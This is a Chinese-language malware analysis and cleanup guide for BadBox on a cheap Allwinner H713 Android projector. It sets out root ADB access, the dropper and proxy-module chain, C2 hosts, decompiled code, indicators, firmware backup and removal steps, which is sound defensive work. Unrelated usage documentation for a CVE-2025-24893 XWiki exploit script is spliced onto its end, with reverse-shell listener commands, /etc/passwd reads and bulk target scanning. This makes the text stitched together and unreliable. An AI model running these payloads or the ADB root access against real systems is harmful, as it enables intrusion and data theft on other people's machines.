针对 Allwinner H713 Android 投影仪上 BadBox 恶意软件的分析与清理指南:ADB 访问、感染证据、固件备份、dropper 移除与验证。
2026年9月26日 · @R
一款廉价的 Android 投影仪(Wielo / Atongmu AT-M269,Allwinner H713)出厂即内置系统级 dropper,将其变为住宅代理节点。本文档展示如何在不拆机的情况下进入设备、证实感染、备份固件、清除恶意软件并验证结果。
以不断更换的品牌销售的无名 LCD 投影仪。主板和固件在许多 H713 投影仪(HY300 克隆机及其他)之间共享,因此本文内容适用范围更广。
| 属性 | 值 |
|---|---|
| 销售名称 | Wielo Smart Projector,型号 AT-M269(FCC ID 2BAAR-AT-M269D) |
| 制造商 | 深圳阿童木科技;固件和应用来自 OEM “ASHD” |
| 硬件版本 | persist.sys.cm.hardversion = AT-M269_720P_HP_202410221430 |
| SoC | Allwinner H713M(ro.boot.hardware = sun50iw12p1),四核 Cortex-A53;主板 exdroid,平台 ares |
| RAM / 存储 | 1 GB DDR @ 576 MHz / 8 GB eMMC(7,818,182,656 字节) |
| Wi-Fi / 蓝牙 | AIC8800(aic8800d80,驱动 rwnx 6.4.3.0) |
| 内核 | Linux 5.4.99,32 位(armv7l),构建于 2025 年 12 月 8 日 |
| 实际构建 | h713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys,固件 H713M-android11-v1.0,构建主机 ishang-PC |
| 操作系统 | Android 11(SDK 30),user 构建,安全补丁 2022-02-05 |
| 伪装 | 自报为 Google ADT-3(品牌/型号/设备,制造商 askey);真实型号在 ro.product.model2 = AT-M269 |
| 分区 / 启动 | 虚拟 A/B,活动槽位 _b,super 中的动态分区(retrofit);AVB 2.0,vbmeta.device_state = locked,verifiedbootstate 为空;不允许 OEM 解锁;/system 100% 满 |
| 安全性 | ro.debuggable=1,ro.adb.secure=0,service.adb.root=1,ADB 监听 tcp/5868,SELinux 宽容模式,privapp 权限 permissive,AOSP 测试密钥 |
| 区域默认值 | 时区 Asia/Shanghai,DTV 区域 cn / DTMB |
adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build
## 2. 进入
ADB 正在网络上监听一个非标准端口,无需授权提示且具有 root 权限。```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
# 5868/tcp open <- nmap guesses "diameters"; it is actually adbd
# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port # 5868
getprop ro.adb.secure # 0 -> no "allow debugging?" prompt
getprop init.svc.adbd # running
# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id # uid=0(root)
adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected
adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock
`/sys/class/backlight/tv` > `brightness`/`bl_power` 无效。
## 3. 感染链
两个预装的系统应用以 system 用户(UID 1000)身份运行。其中一个下载加载器,加载器再下载四个代理模块以及第二个独立的加载器。```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp /system/priv-app/AshdSysApp
│ OTA updater, can replace the whole firmware (update.zip / payload.bin)
│ C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
Dropper; Umeng + Baidu tracking
└─ downloads cache/plugin.jar (DEX, from *.ishanghd.com)
├─ app installer: pulls app lists per device profile, pm install -r
│ └─ installs Disney+ etc. and com.google.adtest (payload)
└─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
└─ 4 encrypted modules code_cache/.hs/.file/.rf/*.rf
SKN0041 com.ad.proxy SKN0054 com.szns.sdk
SKN0058 com.link.core SKN0061 ddth2 (VpsSdk)
-> all four: residential proxy clients
com.google.adtest (/data/app, installed by yiyou)
Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
Native plugin loader, may install/delete packages -> backup channel
> 陌生人的互联网流量通过你的连接路由,你的设备被追踪(序列号、MAC 地址、Wi-Fi SSID/BSSID)。
adb shell "netstat -tnp | grep ESTABLISHED"
### **b) 谁安装了什么**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest installer=com.android.umanalytics.yiyou <- payload
# package:com.disney.disneyplus installer=com.android.umanalytics.yiyou <- cover
# -> a system "analytics" app installing packages = dropper
adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
# fake Google name, lives in /data/app, installed silently
adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'
### **d) 系统级设置**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon user root
恶意软件直接内置在固件中。构建日期为 eng.work3.20251208.154308,内核编译时间为 Mon Dec 8 15:27:38 CST 2025。yiyou 的记录显示它当天就在运行:```
session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]
1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build
### **f) 供应商签名、只读系统镜像中的恶意软件**
用户或后续应用无法将文件放入 `/system`。它是 `super` 的一部分,受 dm-verity 保护,并通过 `vbmeta` 签名。
## 5. 恶意软件架构概览
### 5.1. 主要组件
| 组件 | 位置 | 功能 |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app`,UID 1000 | 下载并运行 `plugin.jar`;将序列号、MAC 地址、android_id、Wi-Fi SSID/BSSID、蓝牙 MAC 发送至 Umeng/Baidu |
| `plugin.jar` (DEX) | yiyou `cache/` | 两部分:应用安装器(按设备划分的应用列表,针对 H713/RK3326/HY300 的 40 多个配置文件)和 "hs" 任务加载器 |
| "hs" 任务加载器 | 位于 `plugin.jar` 内 | 每 6 小时轮询 C2 获取 `jar`、`dex` 或 `apk` 类型的任务;下载、校验 MD5、执行 |
| SKN0041 `com.ad.proxy` | `.rf` 模块 | TCP/UDP/ICMP 隧道、心跳、登录/上报 |
| SKN0054 `com.szns.sdk` | `.rf` 模块 | 代理节点以及从你的网络进行 UDP 扫描 |
| SKN0058 `com.link.core` | `.rf` 模块 | 带有自己 DNS 解析器的代理客户端 |
| SKN0061 `ddth2` / VpsSdk | `.rf` 模块 | 代理网关,大量并行客户端实例 |
| `com.google.adtest` ("com.speed") | `/data/app` | 第二个加载器,带有原生插件加载器;安装/删除软件包;在启动、网络、HDMI、电源事件时重启 |
| `com.android.sysapp` | `/system/priv-app`,UID 1000 | OTA 更新器:可以下载并刷写完整固件镜像 |
| Widevine 文件 | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` 会释放一个 DRM 密钥/许可证包,以便流媒体应用在这台未认证设备上运行 |
### 5.2. 各部分如何保持隐藏```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
# decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
# -> router DNS blocking alone misses it
# .rf module layout (per file):
# [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
# invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
# module = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.
shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061
### 5.4. 横向移动
**没有自动横向移动,但存在进入 LAN 的入口**
> 但 **SKN0041** 和 **SKN0058** 会向网关指定的任意目标进行中继,且 SKN0041 还能按命令对其执行 ping。任何租用该代理的人都可以手动访问或探测进入 LAN。
- `plugin.jar`
- 解密后的 `.rf` 模块 SKN0041/54/58/61
- `com.google.adtest`、yiyou、sysapp
- `com.android.nfx`(NFXAccessibility)
- 原生:`qw`、`systemmixservice`、`libsystemmix_jni.so`、`libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")
// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through
// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()
// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);
// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));
SKN0041 的完整命令集,来自 `com/ad/proxy/b/a0.java` 分发表:
| 操作码 | 处理程序 | 功能 |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2 | U / V | 心跳请求 / 响应 |
| 3 | W | 向操作者提供的主机:端口打开原始 TCP 连接,无地址检查 |
| 5 / 7 | X / Y | 在打开的事务上执行 tcp 发送 / 关闭 |
| 8 | Z | 向操作者提供的主机:端口打开原始 UDP 会话,无地址检查 |
| 11 | K | udp 关闭 |
| 12 | L → P.java | 在操作者提供的主机上运行 `ping -c 10 <host>`,并将完整输出中继返回 |
| 14 | M → Q.java | 获取操作者提供的 URL,无检查 |
这些操作码均不按 IP 范围进行过滤。
`plugin.jar` 视频重流服务器(`com.cloudmedia.tv.server.d`,一个 NanoHTTPD 分支,用于提供 Aiqiyi/Youku/CIBN 流重写)在绑定时未设置主机,意味着如果启动,将绑定所有接口,局域网可达,而不仅仅是 localhost。其唯一入口点是 `ParserUtils.AnalyticsHelper()`,位于 `getprop ro.board.platform == "rk3188"` 之后。本机报告为 `ares`(H713),因此该门控保持关闭。
实时设备状态:`netstat -tnp` 仅显示回环投屏(`com.android.toofifi` 在 `127.0.0.1:5354`)、通过 IPv6 连接 Google 的 GMS,以及 ADB 会话。没有 `yiyou`、`sysapp`、`speed`、`umanalytics` 或 `adtest` 进程在运行。
`systemmixservice` 的 Binder 接口(以 root 身份进行任意文件读/写/删除和属性设置,设备上任何应用均可访问)是一个本地权限提升漏洞。移除 dropper 并且不安装不受信任的 APK 即可关闭该漏洞。
## 6. 指标
网络指标(域名、URL、IP)见[第 11 节](#11-consolidated-hosturl-list-for-abuse-reports)。
### 6.1. 软件包
| 软件包 | 位置 | 角色 |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app/AndroidAnalytics_yiyou`,UID 1000(system) | dropper |
| `com.android.sysapp`(AshdSysApp) | `/system/priv-app/AshdSysApp`,UID 1000(system) | OTA 通道后门 |
| `com.google.adtest`(真实名称 `com.fotas.wanapp`,"com.speed") | `/data/app` | 第二加载器 |
| `com.cloudmedia.testapk` | `/system/app` | OEM 工厂测试应用,在第 8 节中与 dropper 一同移除 |
| `com.disney.disneyplus` | `/data/app` | 由 dropper 安装的伪装应用 |
| `com.android.nfx` | `/system/priv-app/NFXAccessibility` | 保留,无害(Netflix 遥控助手) |
### 6.2.二进制文件
| 二进制文件 | Init 服务 | 功能 |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw` | **`qw`**:`class core`,`user root`,从启动起永久运行 | Superuser/ClockworkMod su 守护进程(打开 `/dev/com.koushikdutta.superuser` + `.daemon` 套接字)。 |
| `/system/bin/appsdisable` | **`appsdisable`**:由 `on property:sys.boot_completed=1` 触发,`disabled`+`oneshot` | 启动时休眠 4 秒后(`settings ... global start_disable`),查找所有已安装的、具有 `BOOT_COMPLETED` 接收器且组件以 `com.google.android` 开头的软件包,并 `pm disable` 它们,以终止 Google 自身的启动时检查,如 Play Protect 扫描和 GMS 核心服务。 |
| `/system/bin/gmsopt` | **`gmsopt`**:与 appsdisable 相同的触发器和标志 | 与 appsdisable 相同的禁用 Google 启动接收器行为,但排除 `com.google.android.permissioncontroller`。冗余。 |
| `/system/bin/systemmixservice`(+ `libsystemmix_jni.so`、`libsystemmixservice.so`) | **`systemmix`**:`class main`,`user root`,`oneshot` | OEM 原生?用途尚未完全确定,但属于 root 组。 |
### 6.3. 文件和目录
| 路径 | 内容 |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar` | 下载的 "hs" 加载器 / 应用安装器 DEX |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf` | 加密的代理模块(SKN0041/54/58/61) |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk` | 用于静默重装的存储载荷副本 |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so` | 设备 ID 辅助原生库 |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db` | Umeng 会话数据库 |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | 跟踪/配置偏好设置 |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml` | OTA 下载状态偏好设置 |
| `/data/mediadrm/IDM1013/L3/` | 投放的 Widevine L3 DRM 捆绑包 |
| `/data/local/tmp/*`、`/data/ota_package/tmp/*` | 加载器和 OTA 客户端使用的暂存/残留空间 |
### 6.4. 样本哈希
| 样本 | SHA-256 |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar` | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041(已解密) | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054(已解密) | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058(已解密) | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061(已解密) | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk` | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk` | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk` | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip`(Widevine 捆绑包) | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico`(SKN0054 配置) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |
## 7. 备份
该型号似乎没有发布固件,逆向工程得到的厂商 OTA 服务器也没有返回任何内容。```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*' # eMMC boot areas, dump them too if present
通过 Wi-Fi,使用辅助脚本
dump-pull.sh [ip:port|usb] [file] 以 256 MB 分块拉取,带大小校验和重试。重新运行会从最后一个完整分块继续。读取前,它会以 background_gc=off,nodiscard 重新挂载 /data,同步并等待 10 秒。通过 USB 时它还会运行 adb shell stop。两者在退出时都会撤销(重新挂载 background_gc=on,discard,启动)。UDISK 是 /data 且保持活动,因此其哈希在每次运行之间仍可能不同。dump-verify.sh [ip:port|usb] [file] [-y] 检查大小、GPT 头、引导区域以及每个分区(设备 SHA-256 对比镜像中相同的字节范围)。它会读取并修补任何不匹配的部分。在干净通过时,它会写入 mmcblk0.img.sha256。```p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image
### 恢复路径
进入 Allwinner FEL 模式,然后通过 USB-A 转 USB-A 线缆使用 PhoenixUSBPro 刷机。
没有外部针孔可以启动进入 FEL:`adb reboot efex` 或 `fastboot oem efex`。
可能的硬件后备方案:板上的 FEL 焊盘,在 FCC 内部照片中可见(需要打开外壳)。刷机需要一个 IMAGEWTY `update.img`,使用 `awimg.py`([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root))从你的转储构建,并使用 H713 模板。
FEL 是只写的。PhoenixSuit 和 PhoenixUSBPro 无法回读 eMMC,而 `sunxi-fel` 没有 H713 的 SRAM 布局,只有只读命令可用([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226))。
上述 ADB 转储仍然是备份方法。
### **启动模式**
该设备是 A/B(`ro.build.ab_update=true`),活动槽位为 `_b`。没有 `recovery` 分区:recovery 位于 boot ramdisk 中。U-Boot 串口控制台是 `ttyS0`,波特率 115200。
| 模式 | 进入方式 | 层级 | 状态 |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android | 正常开机,`adb reboot` | kernel | 可用 |
| Recovery | `adb reboot recovery` | boot ramdisk | 可用,菜单见下 |
| fastbootd | recovery 菜单:Enter fastboot | recovery 中的用户空间 | 可进入 |
| U-Boot fastboot | recovery 菜单:Reboot to bootloader,或 `adb reboot bootloader` | U-Boot | 可用(macOS 需要下面的修复) |
| U-Boot efex | 从 U-Boot fastboot 执行 `fastboot oem efex`,或 `adb reboot efex`(U-Boot 还有一个 `ir-efex` 遥控触发) | U-Boot | 通过 `fastboot oem efex` 和 `adb reboot efex` 均可用:`1f3a:efe8`,FEL 握手有响应 |
| BootROM FEL | FEL 测试焊盘 | SoC BootROM | 未测试 |
### **Recovery 菜单:**
- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off
### **通过 USB 使用 ADB**
占用 USB0(`ohci0`)的插槽默认以主机模式运行。它会切换到设备模式,直到下次重启,使用:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id
未检测到 U-Boot fastboot
该 gadget 显示为 1f3a:1010(“USB Developer”),其接口是标准的 fastboot ff/42/03。不过它的设备类是 ff,操作系统(此处为 macOS)似乎没有建立配置,因此 fastboot devices 一直为空。
如果出现这种情况,解决方法是先用 pyusb 设置一次配置,然后照常使用 fastboot:```
brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb
source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices
### **FEL/efex**
从 U-Boot fastboot 中,`fastboot oem efex` 会切换到 efex gadget `1f3a:efe8`。(可能需要同样的 `set_configuration()` 修复)
**从源码构建 Sunxi-tools**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/ # optional, else call ./sunxi-fel
# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version
AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000。
仅使用 version 和 --list,切勿使用 spl、uboot、write 或 exe,因为 sunxi 工具无法识别该芯片组。
要退出 FEL,请先拔掉 USB,然后断电,直到投影仪上的蓝色 LED 熄灭。在没有 SoC 数据的情况下,wdreset 无法工作。
mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt
adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk
adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS
### 8.2. 移除```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
adb shell am force-stop $p
adb shell pm disable-user --user 0 $p
adb shell pm clear $p
done
adb shell pm uninstall com.google.adtest
# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus
# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'
adb reboot
保留,可能无害:
qw(su 守护进程,只能通过编辑 /system 移除,仅本地可达)appsdisable、gmsopt、systemmixservicecom.android.nfx(Netflix 遥控助手)防篡改检查
卸载 yiyou 会破坏 Settings。com.ashd.settings 的 checkSHA1() 有两项检查:
CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91、60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15、6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01、27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA、F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)com.android.umanalytics.yiyou(或 com.android.umanalytics.kege,可能是该 dropper 在其他固件版本中的名称)是否已为用户 0 注册。两条失败路径都会记录 签名校验失败,关闭应用(“signature check failed, closing app”)。完全卸载 yiyou(而非像上面那样仅禁用它)会触发此检查。adb shell pm install-existing com.android.umanalytics.yiyou 可在不重新启用它的情况下恢复注册。
adb connect 10.56.215.10:5868
adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"
adb shell pm list packages -3 -i # new apps? check their installer
**清理并重启后此单元的结果:**```
adb shell "netstat -tnp"
# tcp 127.0.0.1:52992 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi <- local screen-cast service
# tcp 127.0.0.1:52994 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi
# tcp6 10.56.215.10:5868 <your computer> ESTABLISHED 5332/adbd <- your ADB session
# -> no outbound connections left (before: ~25 from yiyou)
24 小时后重复 netstat 检查(加载器每 6 小时回连一次),并在你的 DNS 和防火墙日志中查找来自投影仪 IP 的拦截记录。
/system 重新挂载为读写来删除这些 APK:vbmeta 已锁定,/system 已 100% 占满,因此 adb disable-verity + adb remount 会在 /data 中创建一个 overlay(恢复出厂设置后会丢失,就像 pm uninstall --user 0 一样),并存在启动失败的风险。super 删除这些 APK,并通过 FEL 刷入。未经测试。```
adb shell getprop ro.boot.vbmeta.device_state # locked
adb shell getprop ro.boot.verifiedbootstate # (empty)
adb shell df -h /system # 1.1G 1.1G 3.4M 100%### 8.5. 臃肿软件```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest
使用 pm enable --user 0 <package> 恢复
com.android.toofifi:核心投屏服务。你将失去来自手机和笔记本电脑的屏幕镜像(Miracast/AirPlay 风格投屏)功能。com.toofifi.lineserver:同一套技术栈的有线/USB 显示服务器,会回连 server.mphotool.com:8680 进行许可证校验。你将失去有线显示模式。com.toofifi.miracast:无线 Miracast 接收器,会调用 server.mphotool.com:8680/MPAPI/System/CheckUpdate 并将使用日志上传至 mphotool.com/FeituAppLogMgr。你将失去无线投屏功能。com.mphotool.usbcastserver:USB 投屏服务器,同一厂商。你将失去从设备发起 USB 投屏的支持。com.rockchip.devicetest:没有理由出现在全志设备上。静态分析。原始反编译源码、解密后的 .rf 模块以及所用脚本均保存在 analysis/(decompiled/、decrypted_modules/、tools/)中。
com.android.sysapp
反编译类 a.a.b.m/a.a.b.n 给出了精确、字面意义上的 OTA 请求:```
POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo
&productid=<ro.android.productid, default "74865231">
&device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269">
&devices_version=<ro.build.version.incremental>
&update_type=1|2 # 1 auto check, 2 forced ("check for update" button)
通过 Apache `HttpPost` 发送空表单体。所有内容都在查询字符串中,因此 GET 和 POST 等效,且没有签名/令牌。实时重放(2026‑09‑26):`{"code":200,"data":[]}`,似乎该 productid 在任何尝试的版本中都没有对应包。
### 9.2 投放器
`com.android.umanalytics.yiyou`
**自更新**(`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` 返回带有 `MD5` 和 `VersionCode` 的 `DownLoadURL`,该文件被下载、进行 MD5 校验、通过 `PkgUtils.install(path, 1)` 安装并静默自我替换。
**`plugin.jar` 获取**(`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` 返回 `plugin.jar`,该文件被下载到 `<cache>/plugin.jar` 并使用 `DexClassLoader` 加载。`com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` 是入口点。
**按设备的应用列表配置文件**
这些是活动中每台设备的自定义应用(可能经过修改以绕过 DRM?)
`com.anlytics.plug.b` 对主板进行指纹识别(`ro.board.platform`、`persist.sys.cm.dtsmodel`、`ro.sys.cputype`、`ro.build.version.release`、已安装的包、诸如 `/system/etc/voice.tar.gz` 之类的文件),并与 40 个硬编码配置文件进行比对,然后从 `com.tools.a` 中的常量里挑选匹配的 `appsinfo/.../infos*.json` URL。
该设备搭载 `com.ashd.launcher10` 并报告 `persist.sys.cm.dtsmodel=AT-M269` / 主板 `ares`,而表中唯一的 H713 "launcher10" 配置文件是:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
python3 CVE-2025-24893.py -u http://target.com -c "id"
# 在攻击者机器上启动监听器
nc -lvnp 4444
# 执行反向 shell
python3 CVE-2025-24893.py -u http://target.com -r 192.168.1.100:4444
python3 CVE-2025-24893.py -u http://target.com -p "your_custom_payload_here"
# 从文件扫描多个目标
python3 CVE-2025-24893.py -f targets.txt -c "id"
# 使用线程扫描
python3 CVE-2025-24893.py -f targets.txt -c "id" -t 10
用法: CVE-2025-24893.py [-h] [-u URL] [-f FILE] [-c CMD] [-r REVERSE] [-p PAYLOAD] [-t THREADS] [--timeout TIMEOUT] [--proxy PROXY] [--verbose]
选项:
-h, --help 显示此帮助信息并退出
-u URL, --url URL 目标 URL
-f FILE, --file FILE 包含目标 URL 的文件
-c CMD, --cmd CMD 要执行的命令
-r REVERSE, --reverse REVERSE
反向 shell 地址 (IP:PORT)
-p PAYLOAD, --payload PAYLOAD
自定义载荷
-t THREADS, --threads THREADS
线程数 (默认: 5)
--timeout TIMEOUT 请求超时时间 (默认: 10)
--proxy PROXY 代理 URL (例如 http://127.0.0.1:8080)
--verbose 启用详细输出
python3 CVE-2025-24893.py -u http://vulnerable-xwiki.com -c "whoami"
python3 CVE-2025-24893.py -u http://vulnerable-xwiki.com -c "cat /etc/passwd"
# 终端 1 - 启动监听器
nc -lvnp 4444
# 终端 2 - 触发反向 shell
python3 CVE-2025-24893.py -u http://vulnerable-xwiki.com -r 192.168.1.100:4444
python3 CVE-2025-24893.py -u http://vulnerable-xwiki.com -c "id" --proxy http://127.0.0.1:8080
# 创建目标文件
echo "http://target1.com" > targets.txt
echo "http://target2.com" >> targets.txt
# 扫描所有目标
python3 CVE-2025-24893.py -f targets.txt -c "id" -t 10
[+] 目标: http://vulnerable-xwiki.com
[+] 正在检查漏洞...
[+] 目标存在漏洞!
[+] 正在执行命令: id
[+] 输出:
uid=1000(xwiki) gid=1000(xwiki) groups=1000(xwiki)
